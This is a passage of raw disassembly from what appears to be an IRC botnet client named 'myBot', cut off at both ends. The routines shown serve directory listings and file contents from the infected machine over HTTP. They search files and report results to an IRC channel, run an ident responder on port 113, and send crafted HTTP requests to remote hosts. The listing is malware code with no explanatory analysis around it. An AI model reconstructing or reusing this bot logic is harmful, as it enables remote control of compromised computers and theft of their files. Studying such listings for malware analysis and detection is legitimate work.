sub_40FFE9+64j lea eax, [ebp+var_9C] push eax ; Dest call _sprintf pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call ds:dword_4F640C ; GetDateFormatA lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call ds:dword_4F6408 ; GetTimeFormatA lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_4100CD lea eax, [ebp+var_9C] push eax lea eax, [ebp+Str] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax ; Dest call _sprintf add esp, 24h jmp short loc_4100EE ; --------------------------------------------------------------------------- loc_4100CD: ; CODE XREF: sub_40FFE9+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+Str] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax ; Dest call _sprintf add esp, 28h loc_4100EE: ; CODE XREF: sub_40FFE9+E2j lea eax, [ebp+Str] push edi push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push [ebp+var_44C] call dword_4E4270 ; send cmp [ebp+var_A4], edi jnz short loc_41012E lea eax, [ebp+Dest] push eax push [ebp+var_44C] call sub_410AA9 pop ecx pop ecx jmp short loc_41014B ; --------------------------------------------------------------------------- loc_41012E: ; CODE XREF: sub_40FFE9+12Dj lea eax, [ebp+Source] push eax ; Source push edi ; int push [ebp+var_44C] ; int lea eax, [ebp+Dest] push eax ; Str call sub_410423 add esp, 10h loc_41014B: ; CODE XREF: sub_40FFE9+143j push [ebp+var_44C] call dword_4E42B8 ; closesocket push [ebp+var_B4] call sub_40BAAA pop ecx push edi call ds:dword_4F63D4 ; ExitThread pop edi pop esi sub_40FFE9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41016C proc near ; CODE XREF: sub_40FB88+3C6p Source = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h Str = byte ptr -314h var_211 = byte ptr -211h Dst = byte ptr -210h Dest = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst mov [ebp+var_4], edi call _memset mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_4101A2 push eax push offset aS_25 ; "\\%s" jmp short loc_4101AB ; --------------------------------------------------------------------------- loc_4101A2: ; CODE XREF: sub_41016C+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_26 ; "%s" loc_4101AB: ; CODE XREF: sub_41016C+34j lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+Dest] xor esi, esi xor ebx, ebx push eax ; Str call _strlen test eax, eax pop ecx jbe short loc_410246 mov [ebp+arg_8], 2 loc_4101D6: ; CODE XREF: sub_41016C+D8j lea eax, [ebp+Dest] push eax ; Str call _strlen cmp [ebp+arg_8], eax pop ecx jnb short loc_410216 cmp [ebp+esi+Dest], 25h jnz short loc_410216 cmp [ebp+esi+var_10B], 32h jnz short loc_410216 cmp [ebp+esi+var_10A], 30h jnz short loc_410216 inc esi mov [ebp+ebx+Dst], 20h inc esi add [ebp+arg_8], 2 jmp short loc_410230 ; --------------------------------------------------------------------------- loc_410216: ; CODE XREF: sub_41016C+7Aj ; sub_41016C+84j ... mov al, [ebp+esi+Dest] cmp al, 2Fh jnz short loc_410226 push 5Ch pop eax jmp short loc_410229 ; --------------------------------------------------------------------------- loc_410226: ; CODE XREF: sub_41016C+B3j movsx eax, al loc_410229: ; CODE XREF: sub_41016C+B8j mov [ebp+ebx+Dst], al loc_410230: ; CODE XREF: sub_41016C+A8j lea eax, [ebp+Dest] inc esi inc [ebp+arg_8] push eax ; Str inc ebx call _strlen cmp esi, eax pop ecx jb short loc_4101D6 loc_410246: ; CODE XREF: sub_41016C+61j lea eax, [ebp+Dst] push eax lea eax, [ebp+Str] push [ebp+arg_4] push offset aSS_4 ; "%s%s" push eax ; Dest call _sprintf lea eax, [ebp+Str] push offset asc_44BA30 ; "\n" push eax ; Str call _strtok add esp, 18h lea eax, [ebp+Str] push eax call ds:dword_4F63A0 ; GetFileAttributesA push 1 cmp eax, 10h pop esi jz short loc_410297 cmp eax, 0FFFFFFFFh jnz short loc_41029A push [ebp+arg_0] jmp loc_41031A ; --------------------------------------------------------------------------- loc_410297: ; CODE XREF: sub_41016C+11Cj mov [ebp+var_4], esi loc_41029A: ; CODE XREF: sub_41016C+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_4102A7 mov [ebp+var_4], esi loc_4102A7: ; CODE XREF: sub_41016C+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_410325 cmp [ebp+arg_C], edi jz short loc_410319 lea eax, [ebp+Str] push offset asc_44BA34 ; "*" push eax ; Dest call _strcat pop ecx lea eax, [ebp+Str] pop ecx push eax ; Format lea eax, [ebp+var_640] push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Str call sub_410B66 add esp, 0Ch lea eax, [ebp+Dst] push eax ; Format lea eax, [ebp+var_53C] push eax ; Dest call _sprintf or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_410374 ; --------------------------------------------------------------------------- loc_410319: ; CODE XREF: sub_41016C+152j push ebx loc_41031A: ; CODE XREF: sub_41016C+126j call dword_4E42B8 ; closesocket jmp loc_41041C ; --------------------------------------------------------------------------- loc_410325: ; CODE XREF: sub_41016C+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+Str] push 80000000h push eax call ds:dword_4F63F4 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_410374 lea eax, [ebp+Str] push eax ; Format lea eax, [ebp+var_640] push eax ; Dest call _sprintf pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi call ds:dword_4F6410 ; GetFileSize push esi mov [ebp+var_330], eax call ds:dword_4F6370 ; CloseHandle loc_410374: ; CODE XREF: sub_41016C+1ABj ; sub_41016C+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+Source] push esi push offset asc_44BA38 ; "-" push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+Source] push 3 ; int push eax ; Source call sub_40B78E mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_45712C[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40FFE9 push edi push edi call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_45713C[ecx], eax jz short loc_4103EE loc_4103DC: ; CODE XREF: sub_41016C+280j cmp [ebp+var_318], edi jnz short loc_41041C push 5 call ds:dword_4F6380 ; Sleep jmp short loc_4103DC ; --------------------------------------------------------------------------- loc_4103EE: ; CODE XREF: sub_41016C+26Ej push ebx call dword_4E42B8 ; closesocket call ds:dword_4F6394 ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_44BA6C ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Source] push eax call sub_415C77 add esp, 10h loc_41041C: ; CODE XREF: sub_41016C+1B4j ; sub_41016C+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_41016C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_410423(char *Str,int,int,char *Source) sub_410423 proc near ; CODE XREF: sub_401CC7+78CDp ; sub_40FFE9+15Ap Dst = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h Str1 = byte ptr -35Ch var_248 = byte ptr -248h Dest = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 Str = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h Source = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_4], ebx mov [ebp+var_8], ebx call _memset mov edi, [ebp+Str] push offset asc_44BAA4 ; "\n" push edi ; Str call _strtok add esp, 14h cmp [ebp+arg_8], ebx jz short loc_410482 push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi ; Count push eax ; Dest call __snprintf add esp, 14h jmp loc_410581 ; --------------------------------------------------------------------------- loc_410482: ; CODE XREF: sub_410423+3Aj cmp [ebp+Source], ebx push edi ; Str jz loc_410567 call _strlen pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E4270 ; send push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E4270 ; send push edi ; Str call _strlen pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 18h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E4270 ; send push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 0Ch jmp short loc_410581 ; --------------------------------------------------------------------------- loc_410567: ; CODE XREF: sub_410423+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 10h loc_410581: ; CODE XREF: sub_410423+5Aj ; sub_410423+142j lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E4270 ; send cmp [ebp+Source], ebx jz short loc_41061C push [ebp+Source] ; Str call _strlen cmp eax, 2 pop ecx jbe short loc_41061C push [ebp+Source] ; Str call _strlen sub eax, 3 pop ecx jz short loc_4105CD loc_4105C1: ; CODE XREF: sub_410423+1A8j mov ecx, [ebp+Source] cmp byte ptr [eax+ecx], 2Fh jz short loc_4105CD dec eax jnz short loc_4105C1 loc_4105CD: ; CODE XREF: sub_410423+19Cj ; sub_410423+1A5j inc eax push eax ; Count lea eax, [ebp+Dst] push [ebp+Source] ; Source push eax ; Dest call _strncpy add esp, 0Ch lea eax, [ebp+Dst] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E4270 ; send loc_41061C: ; CODE XREF: sub_410423+180j ; sub_410423+18Ej lea eax, [ebp+var_388] push eax push edi call ds:dword_4F6424 ; FindFirstFileA lea ecx, [ebp+var_388] mov [ebp+Str], eax push ecx push eax call ds:dword_4F6420 ; FindNextFileA test eax, eax jz loc_410A0C mov edi, 1FFh loc_410648: ; CODE XREF: sub_410423+5E3j cmp [ebp+var_388], ebx jz loc_4109F4 lea eax, [ebp+Str1] push offset a__ ; ".." push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz loc_4109F4 lea eax, [ebp+Str1] push offset a__2 ; "." push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz loc_4109F4 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call ds:dword_4F641C ; FileTimeToLocalFileTime lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call ds:dword_4F6418 ; FileTimeToSystemTime mov ax, [ebp+var_10] mov ecx, offset aPm_0 ; "PM" cmp ax, 0Ch ja short loc_4106BD mov ecx, offset aAm ; "AM" loc_4106BD: ; CODE XREF: sub_410423+293j cmp ax, 0Ch movzx eax, ax jbe short loc_4106C9 sub eax, 0Ch loc_4106C9: ; CODE XREF: sub_410423+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+Dest] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax ; Dest call _sprintf add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_41086C inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_41073D lea eax, [ebp+Str1] push eax push offset aS_27 ; "<%s>" lea eax, [ebp+var_490] push 106h ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+Dest] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_4109B5 ; --------------------------------------------------------------------------- loc_41073D: ; CODE XREF: sub_410423+2E0j cmp [ebp+Source], ebx jz loc_410827 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E4270 ; send lea eax, [ebp+Str1] push eax lea eax, [ebp+var_248] push [ebp+Source] push offset aSS_5 ; "%s%s/" push edi ; Count push eax ; Dest call __snprintf add esp, 14h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E4270 ; send lea eax, [ebp+Str1] push eax ; Str call _strlen cmp eax, 1Eh pop ecx lea eax, [ebp+Str1] push eax jbe short loc_4107DD push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_4107E2 ; --------------------------------------------------------------------------- loc_4107DD: ; CODE XREF: sub_410423+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_4107E2: ; CODE XREF: sub_410423+3B8j lea eax, [ebp+var_248] push edi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E4270 ; send lea eax, [ebp+Dest] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_4109B6 ; --------------------------------------------------------------------------- loc_410827: ; CODE XREF: sub_410423+31Dj lea eax, [ebp+Str1] push eax push offset aS_28 ; "<%s>" lea eax, [ebp+var_490] push 106h ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+Dest] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 14h jmp loc_4109C5 ; --------------------------------------------------------------------------- loc_41086C: ; CODE XREF: sub_410423+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_4108AB push ebx push [ebp+var_368] call sub_4174C3 pop ecx pop ecx push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+Str1] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi ; Count loc_410897: ; CODE XREF: sub_410423+577j lea eax, [ebp+var_248] push eax ; Dest call __snprintf add esp, 1Ch jmp loc_4109C5 ; --------------------------------------------------------------------------- loc_4108AB: ; CODE XREF: sub_410423+44Fj cmp [ebp+Source], ebx jz loc_41099F push 0E6h push offset aTrTdWidthDAH_0 ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E4270 ; send lea eax, [ebp+Str1] push eax lea eax, [ebp+var_248] push [ebp+Source] push offset aSS_6 ; "%s%s" push edi ; Count push eax ; Dest call __snprintf add esp, 14h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E4270 ; send lea eax, [ebp+Str1] push eax ; Str call _strlen cmp eax, 1Fh pop ecx lea eax, [ebp+Str1] push eax jbe short loc_41094B push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_410950 ; --------------------------------------------------------------------------- loc_41094B: ; CODE XREF: sub_410423+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_410950: ; CODE XREF: sub_410423+526j lea eax, [ebp+var_248] push edi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E4270 ; send mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+Dest] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_410897 ; --------------------------------------------------------------------------- loc_41099F: ; CODE XREF: sub_410423+48Bj push [ebp+var_368] lea eax, [ebp+Dest] push eax lea eax, [ebp+Str1] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_4109B5: ; CODE XREF: sub_410423+315j push esi ; Count loc_4109B6: ; CODE XREF: sub_410423+3FFj lea eax, [ebp+var_248] push eax ; Dest call __snprintf add esp, 18h loc_4109C5: ; CODE XREF: sub_410423+444j ; sub_410423+483j lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E4270 ; send cmp [ebp+arg_8], ebx jz short loc_4109F4 push 7D0h call ds:dword_4F6380 ; Sleep loc_4109F4: ; CODE XREF: sub_410423+22Bj ; sub_410423+246j ... lea eax, [ebp+var_388] push eax push [ebp+Str] call ds:dword_4F6420 ; FindNextFileA test eax, eax jnz loc_410648 loc_410A0C: ; CODE XREF: sub_410423+21Aj push [ebp+Str] call ds:dword_4F6414 ; FindClose cmp [ebp+arg_8], ebx jz short loc_410A4F mov eax, [ebp+var_8] cdq push edx push eax call sub_4174C3 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_4174C3 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax ; Dest call _sprintf add esp, 14h jmp short loc_410A83 ; --------------------------------------------------------------------------- loc_410A4F: ; CODE XREF: sub_410423+5F5j cmp [ebp+Source], ebx jz short loc_410A69 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax ; Dest call _sprintf pop ecx pop ecx jmp short loc_410A83 ; --------------------------------------------------------------------------- loc_410A69: ; CODE XREF: sub_410423+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax ; Dest call _sprintf add esp, 10h loc_410A83: ; CODE XREF: sub_410423+62Aj ; sub_410423+644j lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E4270 ; send pop edi pop esi xor eax, eax pop ebx leave retn sub_410423 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410AA9 proc near ; CODE XREF: sub_40FFE9+13Cp Dst = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call ds:dword_4F63F4 ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410B61 push esi push ebx call ds:dword_4F6410 ; GetFileSize cmp eax, esi mov [ebp+arg_4], eax jz short loc_410B5A loc_410AEE: ; CODE XREF: sub_410AA9+AFj push 400h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_410B0B mov edi, [ebp+arg_4] loc_410B0B: ; CODE XREF: sub_410AA9+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call ds:dword_4F6428 ; SetFilePointer lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+Dst] push edi push eax push ebx call ds:dword_4F63F0 ; ReadFile push esi lea eax, [ebp+Dst] push edi push eax push [ebp+arg_0] call dword_4E4270 ; send cmp eax, 0FFFFFFFFh jnz short loc_410B55 call dword_4E41B4 ; WSAGetLastError cmp eax, 2733h jnz short loc_410B5A xor eax, eax loc_410B55: ; CODE XREF: sub_410AA9+9Bj sub [ebp+arg_4], eax jnz short loc_410AEE loc_410B5A: ; CODE XREF: sub_410AA9+43j ; sub_410AA9+A8j push ebx call ds:dword_4F6370 ; CloseHandle loc_410B61: ; CODE XREF: sub_410AA9+30j pop edi pop esi pop ebx leave retn sub_410AA9 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_410B66(char *Str) sub_410B66 proc near ; CODE XREF: sub_41016C+181p Str = dword ptr 4 push esi push edi mov edi, [esp+8+Str] xor esi, esi push edi ; Str call _strlen test eax, eax pop ecx jbe short loc_410B8F loc_410B79: ; CODE XREF: sub_410B66+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_410B83 mov byte ptr [esi+edi], 2Fh loc_410B83: ; CODE XREF: sub_410B66+17j push edi ; Str inc esi call _strlen cmp esi, eax pop ecx jb short loc_410B79 loc_410B8F: ; CODE XREF: sub_410B66+11j mov eax, edi pop edi pop esi retn sub_410B66 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_410B94(int,char *Str,int,int,int,int,int,int,int) sub_410B94 proc near ; CODE XREF: sub_401CC7+53E7p var_4A0 = byte ptr -4A0h Dest = byte ptr -310h Format = byte ptr -110h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4E4190 ; WSAStartup push 6 push 1 push 2 call dword_4E42A0 ; socket mov ebx, eax xor edi, edi push 10h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+arg_14] call dword_4E4220 ; htons push [ebp+arg_10] mov [ebp+var_E], ax call sub_40AE8D pop ecx mov [ebp+var_C], eax lea eax, [ebp+Dst] push 10h push eax push ebx call dword_4E41C8 ; connect cmp eax, 0FFFFFFFFh jz short loc_410C71 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410C0D mov eax, offset dword_4E6FB0 loc_410C0D: ; CODE XREF: sub_410B94+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+Format] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi ; Count push eax ; Dest call __snprintf add esp, 1Ch lea eax, [ebp+Format] push edi push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Format] push eax push ebx call dword_4E4270 ; send push esi ; Size lea eax, [ebp+Format] push edi ; Src push eax ; Dst call _memcpy add esp, 0Ch lea eax, [ebp+Format] push edi push esi push eax push ebx call dword_4E4238 ; recv pop esi loc_410C71: ; CODE XREF: sub_410B94+6Bj push ebx call dword_4E42B8 ; closesocket call dword_4E4178 ; WSACleanup lea eax, [ebp+Format] push eax ; Format lea eax, [ebp+Dest] push eax ; Dest call _sprintf cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_410CB1 push edi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 14h loc_410CB1: ; CODE XREF: sub_410B94+102j pop edi pop ebx leave retn sub_410B94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410CB5 proc near ; DATA XREF: WinMain(x,x,x,x)+445o ; sub_401CC7+43E6o Str = byte ptr -238h Dest = byte ptr -38h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = dword ptr -28h Dst = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst mov [ebp+var_8], esi call _memset add esp, 0Ch mov [ebp+Dst], 2 push 71h call dword_4E4220 ; htons push esi push 1 push 2 mov [ebp+var_1A], ax mov [ebp+var_18], esi call dword_4E42A0 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410E19 mov eax, [ebp+arg_0] push edi imul eax, 234h mov dword_457134[eax], ebx lea eax, [ebp+Dst] push eax push ebx call dword_4E424C ; bind cmp eax, 0FFFFFFFFh jz loc_410E19 push 5 push ebx call dword_4E4248 ; listen cmp eax, 0FFFFFFFFh jz loc_410E19 mov [ebp+var_C], edi mov edi, 200h loc_410D40: ; CODE XREF: sub_410CB5+EAj ; sub_410CB5+14Dj ... lea eax, [ebp+var_C] push eax lea eax, [ebp+var_2C] push eax push ebx call dword_4E42B4 ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_410E14 movzx eax, [ebp+var_2A] push eax push [ebp+var_28] call dword_4E42AC ; inet_ntoa push eax lea eax, [ebp+Str] push offset asc_44BF7C ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Str] push eax call sub_415C77 add esp, 14h lea eax, [ebp+Str] push esi push edi push eax push [ebp+var_4] call dword_4E4238 ; recv cmp eax, 0FFFFFFFFh jz short loc_410D40 lea eax, [ebp+Str] push esi ; int push eax ; Str call sub_418CD0 push 0Ch ; Size lea eax, [ebp+Dest] push esi ; Val push eax ; Dst call _memset push esi ; Str1 push esi ; int lea eax, [ebp+Dest] push 2 ; int push eax ; Dest call sub_40B487 add esp, 24h push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp+Str] push edi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+Str] push esi push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push [ebp+var_4] call dword_4E4270 ; send cmp eax, 0FFFFFFFFh jz loc_410D40 mov [ebp+var_8], 1 jmp loc_410D40 ; --------------------------------------------------------------------------- loc_410E14: ; CODE XREF: sub_410CB5+A0j cmp [ebp+var_8], esi jnz short loc_410E40 loc_410E19: ; CODE XREF: sub_410CB5+47j ; sub_410CB5+6Bj ... call dword_4E41B4 ; WSAGetLastError push eax lea eax, [ebp+Str] push offset asc_44BFC0 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Str] push eax call sub_415C77 add esp, 10h loc_410E40: ; CODE XREF: sub_410CB5+162j push ebx call dword_4E42B8 ; closesocket push [ebp+var_4] call dword_4E42B8 ; closesocket push [ebp+arg_0] call sub_40BAAA pop ecx push esi call ds:dword_4F63D4 ; ExitThread pop edi pop esi pop ebx sub_410CB5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410E63 proc near ; DATA XREF: sub_401CC7+628Do Source = byte ptr -350h var_150 = byte ptr -150h var_14C = dword ptr -14Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_30 = dword ptr -30h 